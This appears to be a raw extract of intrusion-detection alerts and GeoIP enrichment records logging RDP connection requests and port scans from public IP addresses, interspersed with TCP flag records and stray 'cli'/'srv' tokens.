{'ts_max_regions': 1, 'tc_max_regions': 1, 'ack': True, 'syn': True, 'state': 'syn_recv', 'tcp_flags_ts': 'c2', 'ecn': True, 'tcp_flags': 'd2', 'tcp_flags_tc': '12', 'cwr': True}


{'gid': 1, 'signature': 'ET INFO RDP connection request', 'severity': 3, 'category': 'Misc activity', 'rev': 10, 'action': 'allowed', 'signature_id': 2001329, 'metadata': {'updated_at': ['2024_03_07'], 'confidence': ['High'], 'created_at': ['2010_07_30'], 'signature_severity': ['Informational']}}

{'country_code3': 'CN', 'continent_code': 'AS', 'ip': '182.44.78.37', 'as_org': 'CHINANET Fujian province Fuzhou IDC network', 'latitude': 34.7732, 'location': {'lon': 113.722, 'lat': 34.7732}, 'country_code2': 'CN', 'longitude': 113.722, 'country_name': 'China', 'timezone': 'Asia/Shanghai', 'asn': 58772}

{'tx_id': 3, 'event_type': 'tls_handshake', 'x509_serials': ['0']}


{'cve_id': 'CVE-2001-0540', 'rev': 15, 'action': 'allowed', 'category': 'Generic Protocol Command Decode', 'severity': 3, 'signature': 'GPL INFO MS Remote Desktop Request RDP', 'metadata': {'created_at': ['2010_09_23'], 'confidence': ['Medium'], 'signature_severity': ['Informational'], 'updated_at': ['2024_03_08']}, 'signature_id': 2101447, 'gid': 1}

{'latitude': 13.8582, 'country_code2': 'TH', 'longitude': 100.478, 'timezone': 'Asia/Bangkok', 'country_name': 'Thailand', 'as_org': 'TRUE INTERNET Co.,Ltd.', 'continent_code': 'AS', 'asn': 7470, 'city_name': 'Bangkok', 'country_code3': 'TH', 'region_code': '10', 'ip': '61.91.163.146', 'location': {'lat': 13.8582, 'lon': 100.478}, 'postal_code': '10250', 'region_name': 'Bangkok'}


{'cve_id': 'CVE-2001-0540', 'gid': 1, 'action': 'allowed', 'category': 'Generic Protocol Command Decode', 'signature_id': 2101447, 'signature': 'GPL INFO MS Remote Desktop Request RDP', 'rev': 15, 'metadata': {'signature_severity': ['Informational'], 'confidence': ['Medium'], 'updated_at': ['2024_03_08'], 'created_at': ['2010_09_23']}, 'severity': 3}

{'timezone': 'Asia/Bangkok', 'ip': '103.149.98.244', 'asn': 135905, 'longitude': 107.8333, 'location': {'lon': 107.8333, 'lat': 16.1667}, 'country_code2': 'VN', 'latitude': 16.1667, 'as_org': 'VIETNAM POSTS AND TELECOMMUNICATIONS GROUP', 'country_name': 'Vietnam', 'country_code3': 'VN', 'continent_code': 'AS'}


{'signature': 'GPL INFO MS Remote Desktop Request RDP', 'action': 'allowed', 'metadata': {'confidence': ['Medium'], 'updated_at': ['2024_03_08'], 'created_at': ['2010_09_23'], 'signature_severity': ['Informational']}, 'category': 'Generic Protocol Command Decode', 'severity': 3, 'rev': 15, 'cve_id': 'CVE-2001-0540', 'gid': 1, 'signature_id': 2101447}

{'longitude': 9.491, 'ip': '46.165.235.20', 'country_name': 'Germany', 'country_code3': 'DE', 'country_code2': 'DE', 'timezone': 'Europe/Berlin', 'latitude': 51.2993, 'asn': 28753, 'continent_code': 'EU', 'as_org': 'Leaseweb Deutschland GmbH', 'location': {'lon': 9.491, 'lat': 51.2993}}


{'city_name': 'North Bergen', 'postal_code': '07047', 'location': {'lat': 40.7964, 'lon': -74.0203}, 'country_code2': 'US', 'asn': 14061, 'country_code3': 'US', 'ip': '143.198.165.234', 'timezone': 'America/New_York', 'continent_code': 'NA', 'country_name': 'United States', 'region_name': 'New Jersey', 'dma_code': 501, 'latitude': 40.7964, 'region_code': 'NJ', 'longitude': -74.0203, 'as_org': 'DIGITALOCEAN-ASN'}


{'latitude': 60.1719, 'region_name': 'Uusimaa', 'country_code3': 'FI', 'continent_code': 'EU', 'region_code': '18', 'country_name': 'Finland', 'country_code2': 'FI', 'longitude': 24.9347, 'timezone': 'Europe/Helsinki', 'postal_code': '00191', 'asn': 24940, 'as_org': 'Hetzner Online GmbH', 'city_name': 'Helsinki', 'ip': '135.181.216.152', 'location': {'lon': 24.9347, 'lat': 60.1719}}

srv


{'continent_code': 'AS', 'location': {'lat': 1.314, 'lon': 103.6839}, 'country_code2': 'SG', 'latitude': 1.314, 'country_name': 'Singapore', 'postal_code': '62', 'country_code3': 'SG', 'ip': '157.230.241.242', 'timezone': 'Asia/Singapore', 'asn': 14061, 'as_org': 'DIGITALOCEAN-ASN', 'city_name': 'Singapore', 'longitude': 103.6839}

cli


{'country_name': 'Thailand', 'city_name': 'Bangkok', 'region_code': '10', 'latitude': 13.8582, 'country_code2': 'TH', 'asn': 7470, 'country_code3': 'TH', 'continent_code': 'AS', 'postal_code': '10250', 'longitude': 100.478, 'location': {'lat': 13.8582, 'lon': 100.478}, 'ip': '61.91.163.146', 'region_name': 'Bangkok', 'timezone': 'Asia/Bangkok', 'as_org': 'TRUE INTERNET Co.,Ltd.'}

{'tcp_flags': 'de', 'ack': True, 'tcp_flags_tc': '1a', 'ecn': True, 'tcp_flags_ts': 'de', 'syn': True, 'cwr': True, 'state': 'closed', 'ts_max_regions': 1, 'psh': True, 'rst': True, 'tc_max_regions': 1}


{'ip': '138.199.19.76', 'region_code': 'HE', 'asn': 212238, 'as_org': 'Datacamp Limited', 'postal_code': '60313', 'latitude': 50.1169, 'region_name': 'Hesse', 'continent_code': 'EU', 'country_code3': 'DE', 'country_name': 'Germany', 'city_name': 'Frankfurt am Main', 'country_code2': 'DE', 'timezone': 'Europe/Berlin', 'location': {'lat': 50.1169, 'lon': 8.6837}, 'longitude': 8.6837}

cli


{'timezone': 'America/Chicago', 'longitude': -97.822, 'continent_code': 'NA', 'country_code2': 'US', 'as_org': 'EDGENAT-CLOUD', 'location': {'lat': 37.751, 'lon': -97.822}, 'country_name': 'United States', 'country_code3': 'US', 'ip': '112.196.222.60', 'latitude': 37.751, 'asn': 400342}


{'signature_id': 2001329, 'category': 'Misc activity', 'gid': 1, 'signature': 'ET INFO RDP connection request', 'severity': 3, 'rev': 10, 'action': 'allowed', 'metadata': {'confidence': ['High'], 'signature_severity': ['Informational'], 'created_at': ['2010_07_30'], 'updated_at': ['2024_03_07']}}


{'country_code2': 'VN', 'timezone': 'Asia/Bangkok', 'location': {'lon': 107.8333, 'lat': 16.1667}, 'ip': '103.149.98.226', 'latitude': 16.1667, 'asn': 135905, 'continent_code': 'AS', 'country_code3': 'VN', 'country_name': 'Vietnam', 'longitude': 107.8333, 'as_org': 'VIETNAM POSTS AND TELECOMMUNICATIONS GROUP'}


{'signature': 'GPL INFO MS Remote Desktop Request RDP', 'category': 'Generic Protocol Command Decode', 'gid': 1, 'signature_id': 2101447, 'rev': 15, 'metadata': {'confidence': ['Medium'], 'updated_at': ['2024_03_08'], 'signature_severity': ['Informational'], 'created_at': ['2010_09_23']}, 'cve_id': 'CVE-2001-0540', 'action': 'allowed', 'severity': 3}


{'as_org': 'CENSYS-ARIN-02', 'ip': '167.94.146.16', 'country_name': 'United States', 'country_code3': 'US', 'location': {'lon': -97.822, 'lat': 37.751}, 'country_code2': 'US', 'asn': 398705, 'continent_code': 'NA', 'timezone': 'America/Chicago', 'latitude': 37.751, 'longitude': -97.822}

cli


{'country_name': 'France', 'longitude': 2.3661, 'region_code': '75', 'country_code2': 'FR', 'ip': '139.28.99.221', 'postal_code': '93200', 'latitude': 48.9335, 'asn': 215114, 'timezone': 'Europe/Paris', 'city_name': 'Saint Denis', 'region_name': 'Paris', 'as_org': "Stevan Durand--L'Hours t/a SLBCLOUD", 'country_code3': 'FR', 'continent_code': 'EU', 'location': {'lon': 2.3661, 'lat': 48.9335}}

cli


{'signature': 'GPL INFO MS Remote Desktop Request RDP', 'metadata': {'created_at': ['2010_09_23'], 'signature_severity': ['Informational'], 'confidence': ['Medium'], 'updated_at': ['2024_03_08']}, 'cve_id': 'CVE-2001-0540', 'category': 'Generic Protocol Command Decode', 'gid': 1, 'rev': 15, 'signature_id': 2101447, 'severity': 3, 'action': 'allowed'}

{'longitude': 107.8333, 'as_org': 'Branch of Long Van System Solution JSC - Hanoi', 'country_name': 'Vietnam', 'country_code3': 'VN', 'timezone': 'Asia/Bangkok', 'latitude': 16.1667, 'asn': 131423, 'continent_code': 'AS', 'location': {'lat': 16.1667, 'lon': 107.8333}, 'country_code2': 'VN', 'ip': '103.2.225.131'}


{'location': {'lon': -69.8965, 'lat': 18.4615}, 'latitude': 18.4615, 'longitude': -69.8965, 'region_code': '01', 'country_name': 'Dominican Republic', 'ip': '148.101.169.247', 'region_name': 'Nacional', 'timezone': 'America/Santo_Domingo', 'as_org': 'Compania Dominicana de Telefonos S. A.', 'postal_code': '10203', 'asn': 6400, 'city_name': 'Santo Domingo', 'country_code2': 'DO', 'continent_code': 'NA', 'country_code3': 'DO'}

cli


{'metadata': {'updated_at': ['2024_03_07'], 'created_at': ['2010_07_30'], 'signature_severity': ['Informational'], 'confidence': ['High']}, 'signature': 'ET INFO RDP connection request', 'action': 'allowed', 'category': 'Misc activity', 'severity': 3, 'gid': 1, 'signature_id': 2001329, 'rev': 10}

{'country_code3': 'DE', 'latitude': 51.2993, 'asn': 28753, 'timezone': 'Europe/Berlin', 'longitude': 9.491, 'as_org': 'Leaseweb Deutschland GmbH', 'continent_code': 'EU', 'ip': '212.95.43.233', 'country_code2': 'DE', 'country_name': 'Germany', 'location': {'lon': 9.491, 'lat': 51.2993}}


{'continent_code': 'AS', 'country_code3': 'IR', 'location': {'lat': 35.698, 'lon': 51.4115}, 'country_name': 'Iran', 'timezone': 'Asia/Tehran', 'ip': '194.0.234.12', 'asn': 214295, 'latitude': 35.698, 'as_org': 'Skynet Network Ltd', 'longitude': 51.4115, 'country_code2': 'IR'}

cli


{'latitude': 52.2986, 'country_code2': 'NL', 'longitude': 4.9728, 'timezone': 'Europe/Amsterdam', 'country_name': 'The Netherlands', 'as_org': 'NYBULA', 'continent_code': 'EU', 'asn': 401116, 'city_name': 'Amsterdam', 'country_code3': 'NL', 'region_code': 'NH', 'ip': '196.251.115.97', 'location': {'lat': 52.2986, 'lon': 4.9728}, 'postal_code': '1106', 'region_name': 'North Holland'}


cli


{'location': {'lon': -74.0203, 'lat': 40.7964}, 'postal_code': '07047', 'longitude': -74.0203, 'ip': '206.189.189.212', 'country_name': 'United States', 'country_code3': 'US', 'country_code2': 'US', 'region_code': 'NJ', 'dma_code': 501, 'timezone': 'America/New_York', 'latitude': 40.7964, 'continent_code': 'NA', 'asn': 14061, 'city_name': 'North Bergen', 'as_org': 'DIGITALOCEAN-ASN', 'region_name': 'New Jersey'}

cli


srv


{'country_name': 'The Netherlands', 'city_name': 'Amsterdam', 'region_code': 'NH', 'latitude': 52.2986, 'country_code2': 'NL', 'asn': 401116, 'country_code3': 'NL', 'continent_code': 'EU', 'postal_code': '1106', 'longitude': 4.9728, 'location': {'lat': 52.2986, 'lon': 4.9728}, 'ip': '196.251.66.154', 'region_name': 'North Holland', 'timezone': 'Europe/Amsterdam', 'as_org': 'NYBULA'}


{'asn': 15802, 'country_name': 'United Arab Emirates', 'location': {'lat': 25.0734, 'lon': 55.2979}, 'longitude': 55.2979, 'ip': '87.200.80.161', 'latitude': 25.0734, 'region_name': 'Dubai', 'as_org': 'Emirates Integrated Telecommunications Company PJSC', 'city_name': 'Dubai', 'region_code': 'DU', 'continent_code': 'AS', 'country_code3': 'AE', 'country_code2': 'AE', 'timezone': 'Asia/Dubai'}

srv


{'as_org': 'Railnet LLC', 'ip': '185.230.13.14', 'country_name': 'Germany', 'country_code3': 'DE', 'location': {'lon': 9.491, 'lat': 51.2993}, 'country_code2': 'DE', 'asn': 214943, 'continent_code': 'EU', 'timezone': 'Europe/Berlin', 'latitude': 51.2993, 'longitude': 9.491}

srv


{'signature': 'ET INFO RDP connection request', 'metadata': {'created_at': ['2010_07_30'], 'signature_severity': ['Informational'], 'confidence': ['High'], 'updated_at': ['2024_03_07']}, 'category': 'Misc activity', 'gid': 1, 'rev': 10, 'signature_id': 2001329, 'severity': 3, 'action': 'allowed'}


{'country_code3': 'DE', 'city_name': 'Falkenstein', 'latitude': 50.4777, 'postal_code': '08223', 'timezone': 'Europe/Berlin', 'longitude': 12.3649, 'asn': 24940, 'as_org': 'Hetzner Online GmbH', 'continent_code': 'EU', 'region_name': 'Saxony', 'ip': '195.201.247.59', 'country_code2': 'DE', 'region_code': 'SN', 'country_name': 'Germany', 'location': {'lon': 12.3649, 'lat': 50.4777}}


{'continent_code': 'AS', 'country_code3': 'HK', 'location': {'lat': 22.2578, 'lon': 114.1657}, 'country_name': 'Hong Kong', 'timezone': 'Asia/Hong_Kong', 'ip': '45.142.154.38', 'asn': 9465, 'latitude': 22.2578, 'as_org': 'AGOTOZ PTE. LTD.', 'longitude': 114.1657, 'country_code2': 'HK'}

cli


{'timezone': 'Asia/Shanghai', 'ip': '116.177.172.94', 'asn': 4837, 'longitude': 113.722, 'location': {'lon': 113.722, 'lat': 34.7732}, 'country_code2': 'CN', 'latitude': 34.7732, 'as_org': 'CHINA UNICOM China169 Backbone', 'country_name': 'China', 'country_code3': 'CN', 'continent_code': 'AS'}

cli


{'longitude': -97.822, 'ip': '162.142.125.138', 'country_name': 'United States', 'country_code3': 'US', 'country_code2': 'US', 'timezone': 'America/Chicago', 'latitude': 37.751, 'asn': 398324, 'continent_code': 'NA', 'as_org': 'CENSYS-ARIN-01', 'location': {'lon': -97.822, 'lat': 37.751}}

cli


{'location': {'lat': 55.7487, 'lon': 37.6187}, 'region_code': 'MOW', 'longitude': 37.6187, 'as_org': 'Galeon LLC', 'postal_code': '129346', 'latitude': 55.7487, 'timezone': 'Europe/Moscow', 'continent_code': 'EU', 'country_name': 'Russia', 'ip': '178.22.24.24', 'country_code2': 'RU', 'city_name': 'Moscow', 'asn': 209290, 'country_code3': 'RU', 'region_name': 'Moscow'}

cli


{'latitude': 60.1719, 'region_name': 'Uusimaa', 'country_code3': 'FI', 'continent_code': 'EU', 'region_code': '18', 'country_name': 'Finland', 'country_code2': 'FI', 'longitude': 24.9347, 'timezone': 'Europe/Helsinki', 'postal_code': '00191', 'asn': 24940, 'as_org': 'Hetzner Online GmbH', 'city_name': 'Helsinki', 'ip': '135.181.216.152', 'location': {'lon': 24.9347, 'lat': 60.1719}}


{'continent_code': 'AS', 'location': {'lat': 1.314, 'lon': 103.6839}, 'country_code2': 'SG', 'latitude': 1.314, 'country_name': 'Singapore', 'postal_code': '62', 'country_code3': 'SG', 'ip': '157.230.241.242', 'timezone': 'Asia/Singapore', 'asn': 14061, 'as_org': 'DIGITALOCEAN-ASN', 'city_name': 'Singapore', 'longitude': 103.6839}

srv


{'ip': '138.199.19.76', 'region_code': 'HE', 'asn': 212238, 'as_org': 'Datacamp Limited', 'postal_code': '60313', 'latitude': 50.1169, 'region_name': 'Hesse', 'continent_code': 'EU', 'country_code3': 'DE', 'country_name': 'Germany', 'city_name': 'Frankfurt am Main', 'country_code2': 'DE', 'timezone': 'Europe/Berlin', 'location': {'lat': 50.1169, 'lon': 8.6837}, 'longitude': 8.6837}

srv


{'severity': 3, 'category': 'Generic Protocol Command Decode', 'action': 'allowed', 'signature': 'GPL INFO MS Remote Desktop Request RDP', 'signature_id': 2101447, 'metadata': {'confidence': ['Medium'], 'created_at': ['2010_09_23'], 'updated_at': ['2024_03_08'], 'signature_severity': ['Informational']}, 'cve_id': 'CVE-2001-0540', 'gid': 1, 'rev': 15}

{'timezone': 'Asia/Karachi', 'postal_code': '54000', 'longitude': 74.3276, 'city_name': 'Lahore', 'continent_code': 'AS', 'country_code2': 'PK', 'region_code': 'PB', 'as_org': 'Transworld Associates Pvt. Ltd.', 'location': {'lat': 31.5826, 'lon': 74.3276}, 'country_name': 'Pakistan', 'country_code3': 'PK', 'region_name': 'Punjab', 'ip': '110.93.212.253', 'latitude': 31.5826, 'asn': 38193}


{'country_name': 'France', 'longitude': 2.3661, 'region_code': '75', 'country_code2': 'FR', 'ip': '139.28.99.221', 'postal_code': '93200', 'latitude': 48.9335, 'asn': 215114, 'timezone': 'Europe/Paris', 'city_name': 'Saint Denis', 'region_name': 'Paris', 'as_org': "Stevan Durand--L'Hours t/a SLBCLOUD", 'country_code3': 'FR', 'continent_code': 'EU', 'location': {'lon': 2.3661, 'lat': 48.9335}}

srv


{'longitude': 37.6187, 'as_org': 'Galeon LLC', 'country_code3': 'RU', 'country_name': 'Russia', 'city_name': 'Moscow', 'timezone': 'Europe/Moscow', 'latitude': 55.7487, 'asn': 209290, 'continent_code': 'EU', 'region_name': 'Moscow', 'location': {'lat': 55.7487, 'lon': 37.6187}, 'postal_code': '129346', 'country_code2': 'RU', 'region_code': 'MOW', 'ip': '178.22.24.252'}


{'location': {'lon': -69.8965, 'lat': 18.4615}, 'latitude': 18.4615, 'longitude': -69.8965, 'region_code': '01', 'country_name': 'Dominican Republic', 'ip': '148.101.169.247', 'region_name': 'Nacional', 'timezone': 'America/Santo_Domingo', 'as_org': 'Compania Dominicana de Telefonos S. A.', 'postal_code': '10203', 'asn': 6400, 'city_name': 'Santo Domingo', 'country_code2': 'DO', 'continent_code': 'NA', 'country_code3': 'DO'}

cli


{'country_code3': 'DE', 'latitude': 51.2993, 'asn': 28753, 'timezone': 'Europe/Berlin', 'longitude': 9.491, 'as_org': 'Leaseweb Deutschland GmbH', 'continent_code': 'EU', 'ip': '212.95.43.233', 'country_code2': 'DE', 'country_name': 'Germany', 'location': {'lon': 9.491, 'lat': 51.2993}}

cli


{'signature': 'ET SCAN MS Terminal Server Traffic on Non-standard Port', 'category': 'Attempted Information Leak', 'severity': 2, 'rev': 4, 'metadata': {'performance_impact': ['Low'], 'signature_severity': ['Major'], 'updated_at': ['2024_03_07'], 'affected_product': ['Microsoft_Terminal_Server_RDP'], 'deployment': ['Perimeter'], 'attack_target': ['Server'], 'confidence': ['Medium'], 'created_at': ['2017_01_23']}, 'signature_id': 2023753, 'action': 'allowed', 'gid': 1}

{'continent_code': 'AS', 'country_code3': 'IR', 'location': {'lat': 35.698, 'lon': 51.4115}, 'country_name': 'Iran', 'timezone': 'Asia/Tehran', 'ip': '194.0.234.12', 'asn': 214295, 'latitude': 35.698, 'as_org': 'Skynet Network Ltd', 'longitude': 51.4115, 'country_code2': 'IR'}


{'latitude': 52.2986, 'country_code2': 'NL', 'longitude': 4.9728, 'timezone': 'Europe/Amsterdam', 'country_name': 'The Netherlands', 'as_org': 'NYBULA', 'continent_code': 'EU', 'asn': 401116, 'city_name': 'Amsterdam', 'country_code3': 'NL', 'region_code': 'NH', 'ip': '196.251.115.97', 'location': {'lat': 52.2986, 'lon': 4.9728}, 'postal_code': '1106', 'region_name': 'North Holland'}


cli


srv


{'gid': 1, 'severity': 3, 'category': 'Generic Protocol Command Decode', 'signature': 'GPL INFO MS Remote Desktop Request RDP', 'signature_id': 2101447, 'rev': 15, 'action': 'allowed', 'cve_id': 'CVE-2001-0540', 'metadata': {'signature_severity': ['Informational'], 'created_at': ['2010_09_23'], 'updated_at': ['2024_03_08'], 'confidence': ['Medium']}}


{'asn': 15802, 'country_name': 'United Arab Emirates', 'location': {'lat': 25.0734, 'lon': 55.2979}, 'longitude': 55.2979, 'ip': '87.200.80.161', 'latitude': 25.0734, 'region_name': 'Dubai', 'as_org': 'Emirates Integrated Telecommunications Company PJSC', 'city_name': 'Dubai', 'region_code': 'DU', 'continent_code': 'AS', 'country_code3': 'AE', 'country_code2': 'AE', 'timezone': 'Asia/Dubai'}

srv


{'severity': 3, 'category': 'Misc activity', 'action': 'allowed', 'signature': 'ET INFO RDP connection request', 'signature_id': 2001329, 'metadata': {'confidence': ['High'], 'created_at': ['2010_07_30'], 'updated_at': ['2024_03_07'], 'signature_severity': ['Informational']}, 'gid': 1, 'rev': 10}

{'timezone': 'America/Chicago', 'longitude': -97.822, 'continent_code': 'NA', 'country_code2': 'US', 'as_org': 'EDGENAT-CLOUD', 'location': {'lat': 37.751, 'lon': -97.822}, 'country_name': 'United States', 'country_code3': 'US', 'ip': '112.196.222.60', 'latitude': 37.751, 'asn': 400342}


{'region_code': 'SN', 'country_name': 'Germany', 'continent_code': 'EU', 'latitude': 50.4777, 'timezone': 'Europe/Berlin', 'longitude': 12.3649, 'country_code3': 'DE', 'city_name': 'Falkenstein', 'postal_code': '08223', 'as_org': 'Hetzner Online GmbH', 'region_name': 'Saxony', 'country_code2': 'DE', 'asn': 24940, 'location': {'lat': 50.4777, 'lon': 12.3649}, 'ip': '195.201.246.167'}


{'postal_code': '11110', 'as_org': 'TRUE INTERNET Co.,Ltd.', 'country_code3': 'TH', 'latitude': 13.9062, 'asn': 7470, 'longitude': 100.4045, 'region_code': '12', 'continent_code': 'AS', 'timezone': 'Asia/Bangkok', 'ip': '61.91.163.146', 'country_code2': 'TH', 'city_name': 'Nonthaburi', 'location': {'lat': 13.9062, 'lon': 100.4045}, 'country_name': 'Thailand', 'region_name': 'Nonthaburi'}


{'country_name': 'United States', 'longitude': -97.822, 'country_code2': 'US', 'ip': '173.249.158.10', 'latitude': 37.751, 'asn': 36444, 'timezone': 'America/Chicago', 'as_org': 'NEXCESS-NET', 'country_code3': 'US', 'continent_code': 'NA', 'location': {'lon': -97.822, 'lat': 37.751}}

srv


{'metadata': {'updated_at': ['2024_03_08'], 'created_at': ['2010_09_23'], 'signature_severity': ['Informational'], 'confidence': ['Medium']}, 'signature': 'GPL INFO MS Remote Desktop Request RDP', 'action': 'allowed', 'category': 'Generic Protocol Command Decode', 'severity': 3, 'gid': 1, 'signature_id': 2101447, 'rev': 15, 'cve_id': 'CVE-2001-0540'}


{'region_code': '10', 'continent_code': 'AS', 'country_code3': 'TH', 'location': {'lat': 13.8582, 'lon': 100.478}, 'country_name': 'Thailand', 'timezone': 'Asia/Bangkok', 'ip': '61.91.163.146', 'asn': 7470, 'latitude': 13.8582, 'as_org': 'TRUE INTERNET Co.,Ltd.', 'postal_code': '10250', 'longitude': 100.478, 'country_code2': 'TH', 'region_name': 'Bangkok', 'city_name': 'Bangkok'}

cli


{'timezone': 'Asia/Shanghai', 'ip': '116.177.172.94', 'asn': 4837, 'longitude': 113.722, 'location': {'lon': 113.722, 'lat': 34.7732}, 'country_code2': 'CN', 'latitude': 34.7732, 'as_org': 'CHINA UNICOM China169 Backbone', 'country_name': 'China', 'country_code3': 'CN', 'continent_code': 'AS'}

srv


{'location': {'lon': 75.8337, 'lat': 22.717}, 'postal_code': '452003', 'longitude': 75.8337, 'ip': '103.27.232.245', 'country_name': 'India', 'country_code3': 'IN', 'country_code2': 'IN', 'region_code': 'MP', 'timezone': 'Asia/Kolkata', 'latitude': 22.717, 'asn': 132779, 'continent_code': 'AS', 'as_org': 'RackBank Datacenters Private Ltd', 'city_name': 'Indore', 'region_name': 'Madhya Pradesh'}

{'rst': True, 'psh': True, 'ts_max_regions': 1, 'state': 'closed', 'ack': True, 'tc_max_regions': 1, 'tcp_flags_ts': 'de', 'cwr': True, 'tcp_flags_tc': '5a', 'syn': True, 'tcp_flags': 'de', 'ecn': True}


{'location': {'lat': 55.7487, 'lon': 37.6187}, 'region_code': 'MOW', 'longitude': 37.6187, 'as_org': 'Galeon LLC', 'postal_code': '129346', 'latitude': 55.7487, 'timezone': 'Europe/Moscow', 'continent_code': 'EU', 'country_name': 'Russia', 'ip': '178.22.24.24', 'country_code2': 'RU', 'city_name': 'Moscow', 'asn': 209290, 'country_code3': 'RU', 'region_name': 'Moscow'}

srv


{'city_name': 'Moscow', 'postal_code': '129346', 'location': {'lat': 55.7487, 'lon': 37.6187}, 'country_code2': 'RU', 'asn': 8492, 'country_code3': 'RU', 'ip': '185.195.242.249', 'timezone': 'Europe/Moscow', 'continent_code': 'EU', 'country_name': 'Russia', 'region_name': 'Moscow', 'latitude': 55.7487, 'region_code': 'MOW', 'longitude': 37.6187, 'as_org': 'OBIT Ltd.'}

srv


{'gid': 1, 'severity': 2, 'category': 'Attempted Information Leak', 'signature': 'ET SCAN MS Terminal Server Traffic on Non-standard Port', 'signature_id': 2023753, 'rev': 4, 'action': 'allowed', 'metadata': {'affected_product': ['Microsoft_Terminal_Server_RDP'], 'created_at': ['2017_01_23'], 'performance_impact': ['Low'], 'deployment': ['Perimeter'], 'signature_severity': ['Major'], 'attack_target': ['Server'], 'updated_at': ['2024_03_07'], 'confidence': ['Medium']}}

{'location': {'lon': 51.4115, 'lat': 35.698}, 'country_code3': 'IR', 'continent_code': 'AS', 'country_name': 'Iran', 'country_code2': 'IR', 'longitude': 51.4115, 'timezone': 'Asia/Tehran', 'as_org': 'Skynet Network Ltd', 'asn': 214295, 'ip': '194.0.234.12', 'latitude': 35.698}


{'metadata': {'created_at': ['2010_07_30'], 'confidence': ['Low'], 'signature_severity': ['Informational'], 'updated_at': ['2019_07_26']}, 'signature_id': 2009582, 'action': 'allowed', 'gid': 1, 'signature': 'ET SCAN NMAP -sS window 1024', 'rev': 3, 'category': 'Attempted Information Leak', 'severity': 2}

{'continent_code': 'EU', 'location': {'lat': 42.696, 'lon': 23.332}, 'country_code2': 'BG', 'latitude': 42.696, 'country_name': 'Bulgaria', 'country_code3': 'BG', 'ip': '79.124.62.122', 'timezone': 'Europe/Sofia', 'asn': 207812, 'as_org': 'Dm Auto Eood', 'longitude': 23.332}


{'country_name': 'The Netherlands', 'city_name': 'Amsterdam', 'region_code': 'NH', 'latitude': 52.2986, 'country_code2': 'NL', 'asn': 401116, 'country_code3': 'NL', 'continent_code': 'EU', 'postal_code': '1106', 'longitude': 4.9728, 'location': {'lat': 52.2986, 'lon': 4.9728}, 'ip': '196.251.66.154', 'region_name': 'North Holland', 'timezone': 'Europe/Amsterdam', 'as_org': 'NYBULA'}

srv


{'ip': '124.132.130.102', 'asn': 4837, 'as_org': 'CHINA UNICOM China169 Backbone', 'latitude': 34.7732, 'continent_code': 'AS', 'country_name': 'China', 'country_code2': 'CN', 'country_code3': 'CN', 'timezone': 'Asia/Shanghai', 'location': {'lat': 34.7732, 'lon': 113.722}, 'longitude': 113.722}

cli


cli


{'region_name': 'Nonthaburi', 'latitude': 13.9062, 'timezone': 'Asia/Bangkok', 'country_code2': 'TH', 'country_code3': 'TH', 'city_name': 'Nonthaburi', 'region_code': '12', 'country_name': 'Thailand', 'postal_code': '11110', 'asn': 7470, 'location': {'lon': 100.4045, 'lat': 13.9062}, 'continent_code': 'AS', 'as_org': 'TRUE INTERNET Co.,Ltd.', 'longitude': 100.4045, 'ip': '61.91.163.146'}

srv


{'as_org': 'Railnet LLC', 'ip': '185.230.13.14', 'country_name': 'Germany', 'country_code3': 'DE', 'location': {'lon': 9.491, 'lat': 51.2993}, 'country_code2': 'DE', 'asn': 214943, 'continent_code': 'EU', 'timezone': 'Europe/Berlin', 'latitude': 51.2993, 'longitude': 9.491}


srv


{'longitude': 107.8333, 'as_org': 'Branch of Long Van System Solution JSC - Hanoi', 'country_name': 'Vietnam', 'country_code3': 'VN', 'timezone': 'Asia/Bangkok', 'latitude': 16.1667, 'asn': 131423, 'continent_code': 'AS', 'location': {'lat': 16.1667, 'lon': 107.8333}, 'country_code2': 'VN', 'ip': '103.2.225.131'}

cli


{'country_code3': 'DE', 'latitude': 51.2993, 'asn': 28753, 'timezone': 'Europe/Berlin', 'longitude': 9.491, 'as_org': 'Leaseweb Deutschland GmbH', 'continent_code': 'EU', 'ip': '212.95.43.233', 'country_code2': 'DE', 'country_name': 'Germany', 'location': {'lon': 9.491, 'lat': 51.2993}}

cli


{'region_code': 'BRU', 'continent_code': 'EU', 'country_code3': 'BE', 'location': {'lat': 50.8534, 'lon': 4.347}, 'country_name': 'Belgium', 'timezone': 'Europe/Brussels', 'ip': '146.148.26.145', 'asn': 396982, 'latitude': 50.8534, 'as_org': 'GOOGLE-CLOUD-PLATFORM', 'postal_code': '1000', 'longitude': 4.347, 'country_code2': 'BE', 'region_name': 'Brussels Capital', 'city_name': 'Brussels'}

srv


{'gid': 1, 'signature': 'SURICATA STREAM Packet with broken ack', 'severity': 3, 'category': 'Generic Protocol Command Decode', 'rev': 2, 'action': 'allowed', 'signature_id': 2210051}

{'country_code3': 'CN', 'continent_code': 'AS', 'ip': '182.44.78.37', 'as_org': 'CHINANET Fujian province Fuzhou IDC network', 'latitude': 34.7732, 'location': {'lon': 113.722, 'lat': 34.7732}, 'country_code2': 'CN', 'longitude': 113.722, 'country_name': 'China', 'timezone': 'Asia/Shanghai', 'asn': 58772}


{'latitude': 52.2986, 'country_code2': 'NL', 'longitude': 4.9728, 'timezone': 'Europe/Amsterdam', 'country_name': 'The Netherlands', 'as_org': 'NYBULA', 'continent_code': 'EU', 'asn': 401116, 'city_name': 'Amsterdam', 'country_code3': 'NL', 'region_code': 'NH', 'ip': '196.251.115.97', 'location': {'lat': 52.2986, 'lon': 4.9728}, 'postal_code': '1106', 'region_name': 'North Holland'}


{'gid': 1, 'severity': 3, 'category': 'Generic Protocol Command Decode', 'signature': 'SURICATA STREAM Packet with broken ack', 'signature_id': 2210051, 'rev': 2, 'action': 'allowed'}


{'country_name': 'Germany', 'city_name': 'Frankfurt am Main', 'region_code': 'HE', 'latitude': 50.1169, 'country_code2': 'DE', 'asn': 212238, 'country_code3': 'DE', 'continent_code': 'EU', 'postal_code': '60313', 'longitude': 8.6837, 'location': {'lat': 50.1169, 'lon': 8.6837}, 'ip': '138.199.19.76', 'region_name': 'Hesse', 'timezone': 'Europe/Berlin', 'as_org': 'Datacamp Limited'}

cli


{'timezone': 'Europe/Berlin', 'postal_code': '08223', 'longitude': 12.3649, 'city_name': 'Falkenstein', 'continent_code': 'EU', 'country_code2': 'DE', 'region_code': 'SN', 'as_org': 'Hetzner Online GmbH', 'location': {'lat': 50.4777, 'lon': 12.3649}, 'country_name': 'Germany', 'country_code3': 'DE', 'region_name': 'Saxony', 'ip': '5.75.236.93', 'latitude': 50.4777, 'asn': 24940}


